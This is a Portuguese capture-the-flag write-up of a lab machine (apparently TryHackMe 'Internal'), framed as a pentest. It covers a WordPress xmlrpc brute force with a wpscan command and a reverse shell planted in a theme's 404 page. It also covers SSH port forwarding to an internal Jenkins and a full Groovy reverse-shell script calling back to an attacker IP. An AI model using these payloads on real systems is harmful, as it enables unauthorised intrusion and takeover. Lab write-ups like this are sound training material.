Objetivo

“Você foi designado para um cliente que deseja que um pentest seja realizado em um ambiente que deverá ser lançado para produção em três semanas.”

Resolução

Iniciando o processo de recon na máquina alvo, comecei realizando uma enumeração de portas abertas

Como a porta 80 está aberta, também realizei uma enumeração de diretórios na aplicação web

Durante a enumeração de diretórios, foi encontrado o diretório “blog”, acessando esse diretório é possível encontrar uma aplicação wordpress

Através das postagens do blog, também foi possível encontrar o nome de um usuário do wordpress

Durante o processo de recon também foi possível identificar que a aplicação estava com o xmlrpc.php ativo

O xmlrpc do wordpress nos permite executar alguns ataques contra a aplicação, entre eles, um ataque de brute force

Como já sei o nome de um usuário válido na aplicação (admin), realizei um ataque de brute force através do xmlrpc e, dessa forma, foi possível descobrir a senha do usuário admin do wordpress

wpscan --url internal.thm/blog --random-user-agent -U admin -P /usr/share/wordlists/rockyou.txt

Com as credenciais encontradas, foi possível acessar o painel do wordpress

Com acesso ao painel do wordpress, alterei o template da página 404 do tema que estava sendo usado pela aplicação e coloquei o código de uma reverse shell

Após isso bastou acessar o endereço para receber a shell

http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php

Dentro do diretório “/opt” foi possível encontrar um arquivo contendo usuário e senha

Com as credenciais encontradas, foi possível acessar o host alvo através do SSH

Com o acesso via SSH, foi possível obter a primeira flag

Após pegar a flag encontrei outra informação importante dentro do arquivo “jenkins.txt”. Nesse arquivo foi informado que existe um Jenkins rodando em um endereço da rede interna

Para acessar esse serviço da rede interna, realizei um port fowarding utilizando a conexão SSH que já tinha acesso

ssh -L 80:172.17.0.2:8080 aubreanna@10.10.69.107

Dessa forma, foi possível acessar o painel do Jenkins que estava rodando na rede interna

Para obter acesso ao painel da aplicação, foi realizado um novo ataque de brute force

Após algumas requisições, foi possível encontrar a senha do admin do Jenkins

E, dessa forma, foi possível acessar o painel de administração

Com acesso ao painel, foi utilizado o “Script Console” para conseguir uma nova shell, dessa vez no host que está rodando o Jenkins

O seguinte script foi utilizado para isso:

String host="10.2.9.158";
int port=8443;
String cmd="bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Executando o script, foi possível receber uma conexão shell

Novamente foi possível encontrar um arquivo contendo usuário e senha dentro do diretório “/opt”

Com as credenciais encontradas, foi possível obter acesso no host como usuário root e pegar a última flag